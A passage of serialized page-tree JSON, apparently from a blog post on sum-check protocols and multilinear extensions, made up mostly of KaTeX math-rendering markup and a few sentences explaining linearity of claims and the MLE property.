0880],{"type":23,"tag":134,"props":110852,"children":110854},{"className":110853},[1238],[110855,110875],{"type":23,"tag":134,"props":110856,"children":110858},{"className":110857,"style":93088},[1243],[110859],{"type":23,"tag":134,"props":110860,"children":110861},{"style":109558},[110862,110866],{"type":23,"tag":134,"props":110863,"children":110865},{"className":110864,"style":1253},[1252],[],{"type":23,"tag":134,"props":110867,"children":110869},{"className":110868},[1258,1259,1260,1261],[110870],{"type":23,"tag":134,"props":110871,"children":110873},{"className":110872},[1211,21066,1261],[110874],{"type":28,"value":929},{"type":23,"tag":134,"props":110876,"children":110878},{"className":110877},[21223],[110879],{"type":28,"value":21226},{"type":23,"tag":134,"props":110881,"children":110883},{"className":110882},[1238],[110884],{"type":23,"tag":134,"props":110885,"children":110887},{"className":110886,"style":92642},[1243],[110888],{"type":23,"tag":134,"props":110889,"children":110890},{},[],{"type":23,"tag":134,"props":110892,"children":110894},{"className":110893,"style":1390},[1292],[],{"type":23,"tag":134,"props":110896,"children":110898},{"className":110897},[1395],[110899],{"type":28,"value":257},{"type":23,"tag":134,"props":110901,"children":110903},{"className":110902,"style":1390},[1292],[],{"type":23,"tag":134,"props":110905,"children":110907},{"className":110906},[1200],[110908,110912,110917,110921,110926],{"type":23,"tag":134,"props":110909,"children":110911},{"className":110910,"style":109714},[1205],[],{"type":23,"tag":134,"props":110913,"children":110915},{"className":110914},[1211,21066],[110916],{"type":28,"value":31},{"type":23,"tag":134,"props":110918,"children":110920},{"className":110919,"style":1293},[1292],[],{"type":23,"tag":134,"props":110922,"children":110924},{"className":110923},[1298],[110925],{"type":28,"value":1586},{"type":23,"tag":134,"props":110927,"children":110929},{"className":110928,"style":1293},[1292],[],{"type":23,"tag":134,"props":110931,"children":110933},{"className":110932},[1200],[110934,110938,110943,111014,111018,111023],{"type":23,"tag":134,"props":110935,"children":110937},{"className":110936,"style":1313},[1205],[],{"type":23,"tag":134,"props":110939,"children":110941},{"className":110940},[21195],[110942],{"type":28,"value":272},{"type":23,"tag":134,"props":110944,"children":110946},{"className":110945},[1211],[110947,110952],{"type":23,"tag":134,"props":110948,"children":110950},{"className":110949,"style":92793},[1211,21066],[110951],{"type":28,"value":92796},{"type":23,"tag":134,"props":110953,"children":110955},{"className":110954},[1228],[110956],{"type":23,"tag":134,"props":110957,"children":110959},{"className":110958},[1233,21120],[110960,111003],{"type":23,"tag":134,"props":110961,"children":110963},{"className":110962},[1238],[110964,110998],{"type":23,"tag":134,"props":110965,"children":110967},{"className":110966,"style":93088},[1243],[110968],{"type":23,"tag":134,"props":110969,"children":110970},{"style":109988},[110971,110975],{"type":23,"tag":134,"props":110972,"children":110974},{"className":110973,"style":1253},[1252],[],{"type":23,"tag":134,"props":110976,"children":110978},{"className":110977},[1258,1259,1260,1261],[110979],{"type":23,"tag":134,"props":110980,"children":110982},{"className":110981},[1211,1261],[110983,110988,110993],{"type":23,"tag":134,"props":110984,"children":110986},{"className":110985},[1211,21066,1261],[110987],{"type":28,"value":929},{"type":23,"tag":134,"props":110989,"children":110991},{"className":110990},[1298,1261],[110992],{"type":28,"value":1272},{"type":23,"tag":134,"props":110994,"children":110996},{"className":110995},[1211,1261],[110997],{"type":28,"value":1214},{"type":23,"tag":134,"props":110999,"children":111001},{"className":111000},[21223],[111002],{"type":28,"value":21226},{"type":23,"tag":134,"props":111004,"children":111006},{"className":111005},[1238],[111007],{"type":23,"tag":134,"props":111008,"children":111010},{"className":111009,"style":110029},[1243],[111011],{"type":23,"tag":134,"props":111012,"children":111013},{},[],{"type":23,"tag":134,"props":111015,"children":111017},{"className":111016,"style":1293},[1292],[],{"type":23,"tag":134,"props":111019,"children":111021},{"className":111020},[1298],[111022],{"type":28,"value":1272},{"type":23,"tag":134,"props":111024,"children":111026},{"className":111025,"style":1293},[1292],[],{"type":23,"tag":134,"props":111028,"children":111030},{"className":111029},[1200],[111031,111035,111040,111045,111050,111054,111059],{"type":23,"tag":134,"props":111032,"children":111034},{"className":111033,"style":1313},[1205],[],{"type":23,"tag":134,"props":111036,"children":111038},{"className":111037},[1211],[111039],{"type":28,"value":291},{"type":23,"tag":134,"props":111041,"children":111043},{"className":111042},[1211,21066],[111044],{"type":28,"value":31},{"type":23,"tag":134,"props":111046,"children":111048},{"className":111047},[21217],[111049],{"type":28,"value":296},{"type":23,"tag":134,"props":111051,"children":111053},{"className":111052,"style":1293},[1292],[],{"type":23,"tag":134,"props":111055,"children":111057},{"className":111056},[1298],[111058],{"type":28,"value":110821},{"type":23,"tag":134,"props":111060,"children":111062},{"className":111061,"style":1293},[1292],[],{"type":23,"tag":134,"props":111064,"children":111066},{"className":111065},[1200],[111067,111071,111128,111132,111137],{"type":23,"tag":134,"props":111068,"children":111070},{"className":111069,"style":109529},[1205],[],{"type":23,"tag":134,"props":111072,"children":111074},{"className":111073},[1211],[111075,111080],{"type":23,"tag":134,"props":111076,"children":111078},{"className":111077,"style":92559},[1211,21066],[111079],{"type":28,"value":93378},{"type":23,"tag":134,"props":111081,"children":111083},{"className":111082},[1228],[111084],{"type":23,"tag":134,"props":111085,"children":111087},{"className":111086},[1233,21120],[111088,111117],{"type":23,"tag":134,"props":111089,"children":111091},{"className":111090},[1238],[111092,111112],{"type":23,"tag":134,"props":111093,"children":111095},{"className":111094,"style":93088},[1243],[111096],{"type":23,"tag":134,"props":111097,"children":111098},{"style":109558},[111099,111103],{"type":23,"tag":134,"props":111100,"children":111102},{"className":111101,"style":1253},[1252],[],{"type":23,"tag":134,"props":111104,"children":111106},{"className":111105},[1258,1259,1260,1261],[111107],{"type":23,"tag":134,"props":111108,"children":111110},{"className":111109},[1211,21066,1261],[111111],{"type":28,"value":929},{"type":23,"tag":134,"props":111113,"children":111115},{"className":111114},[21223],[111116],{"type":28,"value":21226},{"type":23,"tag":134,"props":111118,"children":111120},{"className":111119},[1238],[111121],{"type":23,"tag":134,"props":111122,"children":111124},{"className":111123,"style":92642},[1243],[111125],{"type":23,"tag":134,"props":111126,"children":111127},{},[],{"type":23,"tag":134,"props":111129,"children":111131},{"className":111130,"style":1390},[1292],[],{"type":23,"tag":134,"props":111133,"children":111135},{"className":111134},[1395],[111136],{"type":28,"value":257},{"type":23,"tag":134,"props":111138,"children":111140},{"className":111139,"style":1390},[1292],[],{"type":23,"tag":134,"props":111142,"children":111144},{"className":111143},[1200],[111145,111149,111154,111159,111164,111168,111173],{"type":23,"tag":134,"props":111146,"children":111148},{"className":111147,"style":1313},[1205],[],{"type":23,"tag":134,"props":111150,"children":111152},{"className":111151},[1211,21066],[111153],{"type":28,"value":31},{"type":23,"tag":134,"props":111155,"children":111157},{"className":111156},[21195],[111158],{"type":28,"value":272},{"type":23,"tag":134,"props":111160,"children":111162},{"className":111161},[1211],[111163],{"type":28,"value":1214},{"type":23,"tag":134,"props":111165,"children":111167},{"className":111166,"style":1293},[1292],[],{"type":23,"tag":134,"props":111169,"children":111171},{"className":111170},[1298],[111172],{"type":28,"value":1272},{"type":23,"tag":134,"props":111174,"children":111176},{"className":111175,"style":1293},[1292],[],{"type":23,"tag":134,"props":111178,"children":111180},{"className":111179},[1200],[111181,111185,111190,111247,111252,111256,111261],{"type":23,"tag":134,"props":111182,"children":111184},{"className":111183,"style":1313},[1205],[],{"type":23,"tag":134,"props":111186,"children":111188},{"className":111187},[1211],[111189],{"type":28,"value":291},{"type":23,"tag":134,"props":111191,"children":111193},{"className":111192},[1211],[111194,111199],{"type":23,"tag":134,"props":111195,"children":111197},{"className":111196,"style":92559},[1211,21066],[111198],{"type":28,"value":93378},{"type":23,"tag":134,"props":111200,"children":111202},{"className":111201},[1228],[111203],{"type":23,"tag":134,"props":111204,"children":111206},{"className":111205},[1233,21120],[111207,111236],{"type":23,"tag":134,"props":111208,"children":111210},{"className":111209},[1238],[111211,111231],{"type":23,"tag":134,"props":111212,"children":111214},{"className":111213,"style":93088},[1243],[111215],{"type":23,"tag":134,"props":111216,"children":111217},{"style":109558},[111218,111222],{"type":23,"tag":134,"props":111219,"children":111221},{"className":111220,"style":1253},[1252],[],{"type":23,"tag":134,"props":111223,"children":111225},{"className":111224},[1258,1259,1260,1261],[111226],{"type":23,"tag":134,"props":111227,"children":111229},{"className":111228},[1211,21066,1261],[111230],{"type":28,"value":929},{"type":23,"tag":134,"props":111232,"children":111234},{"className":111233},[21223],[111235],{"type":28,"value":21226},{"type":23,"tag":134,"props":111237,"children":111239},{"className":111238},[1238],[111240],{"type":23,"tag":134,"props":111241,"children":111243},{"className":111242,"style":92642},[1243],[111244],{"type":23,"tag":134,"props":111245,"children":111246},{},[],{"type":23,"tag":134,"props":111248,"children":111250},{"className":111249},[21217],[111251],{"type":28,"value":296},{"type":23,"tag":134,"props":111253,"children":111255},{"className":111254,"style":1293},[1292],[],{"type":23,"tag":134,"props":111257,"children":111259},{"className":111258},[1298],[111260],{"type":28,"value":1586},{"type":23,"tag":134,"props":111262,"children":111264},{"className":111263,"style":1293},[1292],[],{"type":23,"tag":134,"props":111266,"children":111268},{"className":111267},[1200],[111269,111273,111344,111348,111353],{"type":23,"tag":134,"props":111270,"children":111272},{"className":111271,"style":109959},[1205],[],{"type":23,"tag":134,"props":111274,"children":111276},{"className":111275},[1211],[111277,111282],{"type":23,"tag":134,"props":111278,"children":111280},{"className":111279,"style":92793},[1211,21066],[111281],{"type":28,"value":92796},{"type":23,"tag":134,"props":111283,"children":111285},{"className":111284},[1228],[111286],{"type":23,"tag":134,"props":111287,"children":111289},{"className":111288},[1233,21120],[111290,111333],{"type":23,"tag":134,"props":111291,"children":111293},{"className":111292},[1238],[111294,111328],{"type":23,"tag":134,"props":111295,"children":111297},{"className":111296,"style":93088},[1243],[111298],{"type":23,"tag":134,"props":111299,"children":111300},{"style":109988},[111301,111305],{"type":23,"tag":134,"props":111302,"children":111304},{"className":111303,"style":1253},[1252],[],{"type":23,"tag":134,"props":111306,"children":111308},{"className":111307},[1258,1259,1260,1261],[111309],{"type":23,"tag":134,"props":111310,"children":111312},{"className":111311},[1211,1261],[111313,111318,111323],{"type":23,"tag":134,"props":111314,"children":111316},{"className":111315},[1211,21066,1261],[111317],{"type":28,"value":929},{"type":23,"tag":134,"props":111319,"children":111321},{"className":111320},[1298,1261],[111322],{"type":28,"value":1272},{"type":23,"tag":134,"props":111324,"children":111326},{"className":111325},[1211,1261],[111327],{"type":28,"value":1214},{"type":23,"tag":134,"props":111329,"children":111331},{"className":111330},[21223],[111332],{"type":28,"value":21226},{"type":23,"tag":134,"props":111334,"children":111336},{"className":111335},[1238],[111337],{"type":23,"tag":134,"props":111338,"children":111340},{"className":111339,"style":110029},[1243],[111341],{"type":23,"tag":134,"props":111342,"children":111343},{},[],{"type":23,"tag":134,"props":111345,"children":111347},{"className":111346,"style":1293},[1292],[],{"type":23,"tag":134,"props":111349,"children":111351},{"className":111350},[1298],[111352],{"type":28,"value":110821},{"type":23,"tag":134,"props":111354,"children":111356},{"className":111355,"style":1293},[1292],[],{"type":23,"tag":134,"props":111358,"children":111360},{"className":111359},[1200],[111361,111365],{"type":23,"tag":134,"props":111362,"children":111364},{"className":111363,"style":109529},[1205],[],{"type":23,"tag":134,"props":111366,"children":111368},{"className":111367},[1211],[111369,111374],{"type":23,"tag":134,"props":111370,"children":111372},{"className":111371,"style":92559},[1211,21066],[111373],{"type":28,"value":93378},{"type":23,"tag":134,"props":111375,"children":111377},{"className":111376},[1228],[111378],{"type":23,"tag":134,"props":111379,"children":111381},{"className":111380},[1233,21120],[111382,111411],{"type":23,"tag":134,"props":111383,"children":111385},{"className":111384},[1238],[111386,111406],{"type":23,"tag":134,"props":111387,"children":111389},{"className":111388,"style":93088},[1243],[111390],{"type":23,"tag":134,"props":111391,"children":111392},{"style":109558},[111393,111397],{"type":23,"tag":134,"props":111394,"children":111396},{"className":111395,"style":1253},[1252],[],{"type":23,"tag":134,"props":111398,"children":111400},{"className":111399},[1258,1259,1260,1261],[111401],{"type":23,"tag":134,"props":111402,"children":111404},{"className":111403},[1211,21066,1261],[111405],{"type":28,"value":929},{"type":23,"tag":134,"props":111407,"children":111409},{"className":111408},[21223],[111410],{"type":28,"value":21226},{"type":23,"tag":134,"props":111412,"children":111414},{"className":111413},[1238],[111415],{"type":23,"tag":134,"props":111416,"children":111418},{"className":111417,"style":92642},[1243],[111419],{"type":23,"tag":134,"props":111420,"children":111421},{},[],{"type":23,"tag":24,"props":111423,"children":111424},{},[111425,111426,111522,111524,111549,111551,111576],{"type":28,"value":45640},{"type":23,"tag":2532,"props":111427,"children":111428},{},[111429,111431],{"type":28,"value":111430},"linear in ",{"type":23,"tag":92,"props":111432,"children":111434},{"className":111433},[1183,1184],[111435],{"type":23,"tag":134,"props":111436,"children":111438},{"className":111437},[1189],[111439],{"type":23,"tag":134,"props":111440,"children":111442},{"className":111441,"ariaHidden":1195},[1194],[111443],{"type":23,"tag":134,"props":111444,"children":111446},{"className":111445},[1200],[111447,111451],{"type":23,"tag":134,"props":111448,"children":111450},{"className":111449,"style":109959},[1205],[],{"type":23,"tag":134,"props":111452,"children":111454},{"className":111453},[1211],[111455,111460],{"type":23,"tag":134,"props":111456,"children":111458},{"className":111457,"style":92793},[1211,21066],[111459],{"type":28,"value":92796},{"type":23,"tag":134,"props":111461,"children":111463},{"className":111462},[1228],[111464],{"type":23,"tag":134,"props":111465,"children":111467},{"className":111466},[1233,21120],[111468,111511],{"type":23,"tag":134,"props":111469,"children":111471},{"className":111470},[1238],[111472,111506],{"type":23,"tag":134,"props":111473,"children":111475},{"className":111474,"style":93088},[1243],[111476],{"type":23,"tag":134,"props":111477,"children":111478},{"style":109988},[111479,111483],{"type":23,"tag":134,"props":111480,"children":111482},{"className":111481,"style":1253},[1252],[],{"type":23,"tag":134,"props":111484,"children":111486},{"className":111485},[1258,1259,1260,1261],[111487],{"type":23,"tag":134,"props":111488,"children":111490},{"className":111489},[1211,1261],[111491,111496,111501],{"type":23,"tag":134,"props":111492,"children":111494},{"className":111493},[1211,21066,1261],[111495],{"type":28,"value":929},{"type":23,"tag":134,"props":111497,"children":111499},{"className":111498},[1298,1261],[111500],{"type":28,"value":1272},{"type":23,"tag":134,"props":111502,"children":111504},{"className":111503},[1211,1261],[111505],{"type":28,"value":1214},{"type":23,"tag":134,"props":111507,"children":111509},{"className":111508},[21223],[111510],{"type":28,"value":21226},{"type":23,"tag":134,"props":111512,"children":111514},{"className":111513},[1238],[111515],{"type":23,"tag":134,"props":111516,"children":111518},{"className":111517,"style":110029},[1243],[111519],{"type":23,"tag":134,"props":111520,"children":111521},{},[],{"type":28,"value":111523},"! By induction, the final claim is linear in the original ",{"type":23,"tag":92,"props":111525,"children":111527},{"className":111526},[1183,1184],[111528],{"type":23,"tag":134,"props":111529,"children":111531},{"className":111530},[1189],[111532],{"type":23,"tag":134,"props":111533,"children":111535},{"className":111534,"ariaHidden":1195},[1194],[111536],{"type":23,"tag":134,"props":111537,"children":111539},{"className":111538},[1200],[111540,111544],{"type":23,"tag":134,"props":111541,"children":111543},{"className":111542,"style":21061},[1205],[],{"type":23,"tag":134,"props":111545,"children":111547},{"className":111546,"style":92793},[1211,21066],[111548],{"type":28,"value":92796},{"type":28,"value":111550},". If ",{"type":23,"tag":92,"props":111552,"children":111554},{"className":111553},[1183,1184],[111555],{"type":23,"tag":134,"props":111556,"children":111558},{"className":111557},[1189],[111559],{"type":23,"tag":134,"props":111560,"children":111562},{"className":111561,"ariaHidden":1195},[1194],[111563],{"type":23,"tag":134,"props":111564,"children":111566},{"className":111565},[1200],[111567,111571],{"type":23,"tag":134,"props":111568,"children":111570},{"className":111569,"style":21061},[1205],[],{"type":23,"tag":134,"props":111572,"children":111574},{"className":111573,"style":92793},[1211,21066],[111575],{"type":28,"value":92796},{"type":28,"value":111577}," isn't in the transcript, we can solve for it.",{"type":23,"tag":9072,"props":111579,"children":111581},{"id":111580},"multilinear-extensions-mles",[111582],{"type":28,"value":111583},"Multilinear Extensions (MLEs)",{"type":23,"tag":24,"props":111585,"children":111586},{},[111587,111589,111674],{"type":28,"value":111588},"An MLE is just the polynomial view of a table over ",{"type":23,"tag":92,"props":111590,"children":111592},{"className":111591},[1183,1184],[111593],{"type":23,"tag":134,"props":111594,"children":111596},{"className":111595},[1189],[111597],{"type":23,"tag":134,"props":111598,"children":111600},{"className":111599,"ariaHidden":1195},[1194],[111601],{"type":23,"tag":134,"props":111602,"children":111604},{"className":111603},[1200],[111605,111609,111614,111619,111624,111628,111633],{"type":23,"tag":134,"props":111606,"children":111608},{"className":111607,"style":1313},[1205],[],{"type":23,"tag":134,"props":111610,"children":111612},{"className":111611},[21195],[111613],{"type":28,"value":76130},{"type":23,"tag":134,"props":111615,"children":111617},{"className":111616},[1211],[111618],{"type":28,"value":1224},{"type":23,"tag":134,"props":111620,"children":111622},{"className":111621},[1324],[111623],{"type":28,"value":1327},{"type":23,"tag":134,"props":111625,"children":111627},{"className":111626,"style":1331},[1292],[],{"type":23,"tag":134,"props":111629,"children":111631},{"className":111630},[1211],[111632],{"type":28,"value":1214},{"type":23,"tag":134,"props":111634,"children":111636},{"className":111635},[21217],[111637,111642],{"type":23,"tag":134,"props":111638,"children":111640},{"className":111639},[21217],[111641],{"type":28,"value":33637},{"type":23,"tag":134,"props":111643,"children":111645},{"className":111644},[1228],[111646],{"type":23,"tag":134,"props":111647,"children":111649},{"className":111648},[1233],[111650],{"type":23,"tag":134,"props":111651,"children":111653},{"className":111652},[1238],[111654],{"type":23,"tag":134,"props":111655,"children":111657},{"className":111656,"style":108276},[1243],[111658],{"type":23,"tag":134,"props":111659,"children":111660},{"style":1247},[111661,111665],{"type":23,"tag":134,"props":111662,"children":111664},{"className":111663,"style":1253},[1252],[],{"type":23,"tag":134,"props":111666,"children":111668},{"className":111667},[1258,1259,1260,1261],[111669],{"type":23,"tag":134,"props":111670,"children":111672},{"className":111671},[1211,21066,1261],[111673],{"type":28,"value":55910},{"type":28,"value":111675},": it matches the table on Boolean points and extends it to field points.",{"type":23,"tag":24,"props":111677,"children":111678},{},[111679],{"type":28,"value":111680},"For this post, the only property you need is:",{"type":23,"tag":24,"props":111682,"children":111683},{},[111684],{"type":23,"tag":92,"props":111685,"children":111687},{"className":111686},[1183,1184],[111688],{"type":23,"tag":134,"props":111689,"children":111691},{"className":111690},[1189],[111692],{"type":23,"tag":134,"props":111693,"children":111695},{"className":111694,"ariaHidden":1195},[1194],[111696,111858,112130],{"type":23,"tag":134,"props":111697,"children":111699},{"className":111698},[1200],[111700,111705,111774,111779,111840,111845,111849,111854],{"type":23,"tag":134,"props":111701,"children":111704},{"className":111702,"style":111703},[1205],"height:1.1813em;vertical-align:-0.25em;",[],{"type":23,"tag":134,"props":111706,"children":111709},{"className":111707},[1211,111708],"accent",[111710],{"type":23,"tag":134,"props":111711,"children":111713},{"className":111712},[1233,21120],[111714,111762],{"type":23,"tag":134,"props":111715,"children":111717},{"className":111716},[1238],[111718,111757],{"type":23,"tag":134,"props":111719,"children":111722},{"className":111720,"style":111721},[1243],"height:0.9313em;",[111723,111737],{"type":23,"tag":134,"props":111724,"children":111726},{"style":111725},"top:-3em;",[111727,111732],{"type":23,"tag":134,"props":111728,"children":111731},{"className":111729,"style":111730},[1252],"height:3em;",[],{"type":23,"tag":134,"props":111733,"children":111735},{"className":111734,"style":94913},[1211,21066],[111736],{"type":28,"value":32581},{"type":23,"tag":134,"props":111738,"children":111740},{"style":111739},"top:-3.6134em;",[111741,111745],{"type":23,"tag":134,"props":111742,"children":111744},{"className":111743,"style":111730},[1252],[],{"type":23,"tag":134,"props":111746,"children":111750},{"className":111747,"style":111749},[111748],"accent-body","left:-0.0833em;",[111751],{"type":23,"tag":134,"props":111752,"children":111754},{"className":111753},[1211],[111755],{"type":28,"value":111756},"~",{"type":23,"tag":134,"props":111758,"children":111760},{"className":111759},[21223],[111761],{"type":28,"value":21226},{"type":23,"tag":134,"props":111763,"children":111765},{"className":111764},[1238],[111766],{"type":23,"tag":134,"props":111767,"children":111770},{"className":111768,"style":111769},[1243],"height:0.1944em;",[111771],{"type":23,"tag":134,"props":111772,"children":111773},{},[],{"type":23,"tag":134,"props":111775,"children":111777},{"className":111776},[21195],[111778],{"type":28,"value":272},{"type":23,"tag":134,"props":111780,"children":111782},{"className":111781},[1211,111708],[111783],{"type":23,"tag":134,"props":111784,"children":111786},{"className":111785},[1233],[111787],{"type":23,"tag":134,"props":111788,"children":111790},{"className":111789},[1238],[111791],{"type":23,"tag":134,"props":111792,"children":111795},{"className":111793,"style":111794},[1243],"height:0.714em;",[111796,111808],{"type":23,"tag":134,"props":111797,"children":111798},{"style":111725},[111799,111803],{"type":23,"tag":134,"props":111800,"children":111802},{"className":111801,"style":111730},[1252],[],{"type":23,"tag":134,"props":111804,"children":111806},{"className":111805,"style":92559},[1211,21066],[111807],{"type":28,"value":93378},{"type":23,"tag":134,"props":111809,"children":111810},{"style":111725},[111811,111815],{"type":23,"tag":134,"props":111812,"children":111814},{"className":111813,"style":111730},[1252],[],{"type":23,"tag":134,"props":111816,"children":111819},{"className":111817,"style":111818},[111748],"left:-0.1799em;",[111820],{"type":23,"tag":134,"props":111821,"children":111825},{"className":111822,"style":111824},[111823],"overlay","height:0.714em;width:0.471em;",[111826],{"type":23,"tag":33770,"props":111827,"children":111834},{"xmlns":111828,"width":111829,"height":111830,"style":111831,"viewBox":111832,"preserveAspectRatio":111833},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[111835],{"type":23,"tag":111836,"props":111837,"children":111839},"path",{"d":111838},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":23,"tag":134,"props":111841,"children":111843},{"className":111842},[21217],[111844],{"type":28,"value":296},{"type":23,"tag":134,"props":111846,"children":111848},{"className":111847,"style":1390},[1292],[],{"type":23,"tag":134,"props":111850,"children":111852},{"className":111851},[1395],[111853],{"type":28,"value":257},{"type":23,"tag":134,"props":111855,"children":111857},{"className":111856,"style":1390},[1292],[],{"type":23,"tag":134,"props":111859,"children":111861},{"className":111860},[1200],[111862,111867,112048,112052,112057,112062,112112,112117,112121,112126],{"type":23,"tag":134,"props":111863,"children":111866},{"className":111864,"style":111865},[1205],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":23,"tag":134,"props":111868,"children":111870},{"className":111869},[21102],[111871,111876],{"type":23,"tag":134,"props":111872,"children":111874},{"className":111873,"style":21109},[21102,21107,21108],[111875],{"type":28,"value":108354},{"type":23,"tag":134,"props":111877,"children":111879},{"className":111878},[1228],[111880],{"type":23,"tag":134,"props":111881,"children":111883},{"className":111882},[1233,21120],[111884,112036],{"type":23,"tag":134,"props":111885,"children":111887},{"className":111886},[1238],[111888,112031],{"type":23,"tag":134,"props":111889,"children":111892},{"className":111890,"style":111891},[1243],"height:0.3448em;",[111893],{"type":23,"tag":134,"props":111894,"children":111896},{"style":111895},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[111897,111901],{"type":23,"tag":134,"props":111898,"children":111900},{"className":111899,"style":1253},[1252],[],{"type":23,"tag":134,"props":111902,"children":111904},{"className":111903},[1258,1259,1260,1261],[111905],{"type":23,"tag":134,"props":111906,"children":111908},{"className":111907},[1211,1261],[111909,111963,111968,111973,111978,111983,111988],{"type":23,"tag":134,"props":111910,"children":111912},{"className":111911},[1211,111708,1261],[111913],{"type":23,"tag":134,"props":111914,"children":111916},{"className":111915},[1233],[111917],{"type":23,"tag":134,"props":111918,"children":111920},{"className":111919},[1238],[111921],{"type":23,"tag":134,"props":111922,"children":111925},{"className":111923,"style":111924},[1243],"height:0.9774em;",[111926,111940],{"type":23,"tag":134,"props":111927,"children":111929},{"style":111928},"top:-2.714em;",[111930,111935],{"type":23,"tag":134,"props":111931,"children":111934},{"className":111932,"style":111933},[1252],"height:2.714em;",[],{"type":23,"tag":134,"props":111936,"children":111938},{"className":111937},[1211,21066,1261],[111939],{"type":28,"value":393},{"type":23,"tag":134,"props":111941,"children":111943},{"style":111942},"top:-2.9774em;",[111944,111948],{"type":23,"tag":134,"props":111945,"children":111947},{"className":111946,"style":111933},[1252],[],{"type":23,"tag":134,"props":111949,"children":111952},{"className":111950,"style":111951},[111748],"left:-0.2355em;",[111953],{"type":23,"tag":134,"props":111954,"children":111956},{"className":111955,"style":111824},[111823,1261],[111957],{"type":23,"tag":33770,"props":111958,"children":111959},{"xmlns":111828,"width":111829,"height":111830,"style":111831,"viewBox":111832,"preserveAspectRatio":111833},[111960],{"type":23,"tag":111836,"props":111961,"children":111962},{"d":111838},[],{"type":23,"tag":134,"props":111964,"children":111966},{"className":111965},[1395,1261],[111967],{"type":28,"value":21173},{"type":23,"tag":134,"props":111969,"children":111971},{"className":111970},[21195,1261],[111972],{"type":28,"value":76130},{"type":23,"tag":134,"props":111974,"children":111976},{"className":111975},[1211,1261],[111977],{"type":28,"value":1224},{"type":23,"tag":134,"props":111979,"children":111981},{"className":111980},[1324,1261],[111982],{"type":28,"value":1327},{"type":23,"tag":134,"props":111984,"children":111986},{"className":111985},[1211,1261],[111987],{"type":28,"value":1214},{"type":23,"tag":134,"props":111989,"children":111991},{"className":111990},[21217,1261],[111992,111997],{"type":23,"tag":134,"props":111993,"children":111995},{"className":111994},[21217,1261],[111996],{"type":28,"value":33637},{"type":23,"tag":134,"props":111998,"children":112000},{"className":111999},[1228],[112001],{"type":23,"tag":134,"props":112002,"children":112004},{"className":112003},[1233],[112005],{"type":23,"tag":134,"props":112006,"children":112008},{"className":112007},[1238],[112009],{"type":23,"tag":134,"props":112010,"children":112013},{"className":112011,"style":112012},[1243],"height:0.5935em;",[112014],{"type":23,"tag":134,"props":112015,"children":112017},{"style":112016},"top:-2.786em;margin-right:0.0714em;",[112018,112022],{"type":23,"tag":134,"props":112019,"children":112021},{"className":112020,"style":108419},[1252],[],{"type":23,"tag":134,"props":112023,"children":112025},{"className":112024},[1258,108424,108425,1261],[112026],{"type":23,"tag":134,"props":112027,"children":112029},{"className":112028},[1211,21066,1261],[112030],{"type":28,"value":55910},{"type":23,"tag":134,"props":112032,"children":112034},{"className":112033},[21223],[112035],{"type":28,"value":21226},{"type":23,"tag":134,"props":112037,"children":112039},{"className":112038},[1238],[112040],{"type":23,"tag":134,"props":112041,"children":112044},{"className":112042,"style":112043},[1243],"height:0.5144em;",[112045],{"type":23,"tag":134,"props":112046,"children":112047},{},[],{"type":23,"tag":134,"props":112049,"children":112051},{"className":112050,"style":1331},[1292],[],{"type":23,"tag":134,"props":112053,"children":112055},{"className":112054,"style":94913},[1211,21066],[112056],{"type":28,"value":32581},{"type":23,"tag":134,"props":112058,"children":112060},{"className":112059},[21195],[112061],{"type":28,"value":272},{"type":23,"tag":134,"props":112063,"children":112065},{"className":112064},[1211,111708],[112066],{"type":23,"tag":134,"props":112067,"children":112069},{"className":112068},[1233],[112070],{"type":23,"tag":134,"props":112071,"children":112073},{"className":112072},[1238],[112074],{"type":23,"tag":134,"props":112075,"children":112077},{"className":112076,"style":111924},[1243],[112078,112090],{"type":23,"tag":134,"props":112079,"children":112080},{"style":111725},[112081,112085],{"type":23,"tag":134,"props":112082,"children":112084},{"className":112083,"style":111730},[1252],[],{"type":23,"tag":134,"props":112086,"children":112088},{"className":112087},[1211,21066],[112089],{"type":28,"value":393},{"type":23,"tag":134,"props":112091,"children":112093},{"style":112092},"top:-3.2634em;",[112094,112098],{"type":23,"tag":134,"props":112095,"children":112097},{"className":112096,"style":111730},[1252],[],{"type":23,"tag":134,"props":112099,"children":112101},{"className":112100,"style":111951},[111748],[112102],{"type":23,"tag":134,"props":112103,"children":112105},{"className":112104,"style":111824},[111823],[112106],{"type":23,"tag":33770,"props":112107,"children":112108},{"xmlns":111828,"width":111829,"height":111830,"style":111831,"viewBox":111832,"preserveAspectRatio":111833},[112109],{"type":23,"tag":111836,"props":112110,"children":112111},{"d":111838},[],{"type":23,"tag":134,"props":112113,"children":112115},{"className":112114},[21217],[112116],{"type":28,"value":296},{"type":23,"tag":134,"props":112118,"children":112120},{"className":112119,"style":1293},[1292],[],{"type":23,"tag":134,"props":112122,"children":112124},{"className":112123},[1298],[112125],{"type":28,"value":110821},{"type":23,"tag":134,"props":112127,"children":112129},{"className":112128,"style":1293},[1292],[],{"type":23,"tag":134,"props":112131,"children":112133},{"className":112132},[1200],[112134,112139,112149,112154,112203,112208,112212,112261],{"type":23,"tag":134,"props":112135,"children":112138},{"className":112136,"style":112137},[1205],"height:1.2274em;vertical-align:-0.25em;",[],{"type":23,"tag":134,"props":112140,"children":112142},{"className":112141},[1211,28],[112143],{"type":23,"tag":134,"props":112144,"children":112146},{"className":112145},[1211],[112147],{"type":28,"value":112148},"eq",{"type":23,"tag":134,"props":112150,"children":112152},{"className":112151},[21195],[112153],{"type":28,"value":272},{"type":23,"tag":134,"props":112155,"children":112157},{"className":112156},[1211,111708],[112158],{"type":23,"tag":134,"props":112159,"children":112161},{"className":112160},[1233],[112162],{"type":23,"tag":134,"props":112163,"children":112165},{"className":112164},[1238],[112166],{"type":23,"tag":134,"props":112167,"children":112169},{"className":112168,"style":111924},[1243],[112170,112182],{"type":23,"tag":134,"props":112171,"children":112172},{"style":111725},[1121